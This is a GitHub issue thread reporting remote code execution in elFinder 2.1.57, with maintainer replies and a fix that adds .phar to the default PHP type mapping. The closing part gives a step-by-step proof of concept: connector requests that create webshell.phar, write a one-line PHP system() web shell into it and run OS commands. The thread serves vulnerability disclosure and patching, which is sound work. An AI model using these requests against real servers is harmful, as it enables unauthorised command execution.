-
Notifications
You must be signed in to change notification settings - Fork 1.4k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Remote Code Execution in elFinder 2.1.57 #3295
Comments
@bng0 The server administrator must properly set the file types that are allowed to be uploaded in elFinder. If you can use elFinder to install a prohibited file type on the server in some way, it is a vulnerability of elFinder. |
I think .phar extension should be included by default in staticMineMap at https://github.com/Studio-42/elFinder/blob/master/php/elFinderVolumeDriver.class.php |
@crackytsi Certainly, that is safer. I include phar in staticMineMap's x-php by default. Thanks! 👍 |
So, is this a valid bug? |
@bng0 What you have reported is not a bug in elFinder. For example, if you have a setting that allows untrusted users to upload PHP files with elFinder to a directory where PHP can be executed, it is probably a misconfiguration of the elFinder installer. On the other hand, if the elFinder installer has set the appropriate settings, but there is a security hole that bypasses the settings, we consider it a bug in elFinder and need to take immediate action. If you discover such elFinder bugs in the future, please notify to the maintainers of this repository by email. |
ok sure, thanks. |
Bye the way, directly neither .php file was allowed to upload nor any content containing |
@bng0 ah I see. It seems that file type detection by phpinfo does not support short tags.
In the above case, it certainly creates a vulnerable state. In such cases, the However, it is difficult to handle these various cases by default, so it is necessary for the person who installs elFinder to understand the specifications of the server and set it appropriately.
For me personally, I think it's safe to set the directories that can be uploaded by elFinder so that no file type can be made executable. |
Adding .phar in StaticMineMap array fixed the issue. Thanks and cheers . |
create a .phar file using the following URL:
http://hostname/elFinder/php/connector.minimal.php?cmd=mkfile&target=l1_Lw&name=webshell.phar
Add PHP code in the webshell.phar file by following GET request:
http://hostname/elFinder/php/connector.minimal.php?cmd=put&target=<hash_of_the_shell.phar_file_from_step1_response>&content=
<?=system($_GET[0]);?>
Execute the OS command with the privilege of the webserver:
http://hostname/elFinder/files/webshell.phar?0=id
Tested on apache and nginx webservers. By default it works in apache webserver and it requires .phar file to be executed as php code in nginx
The text was updated successfully, but these errors were encountered: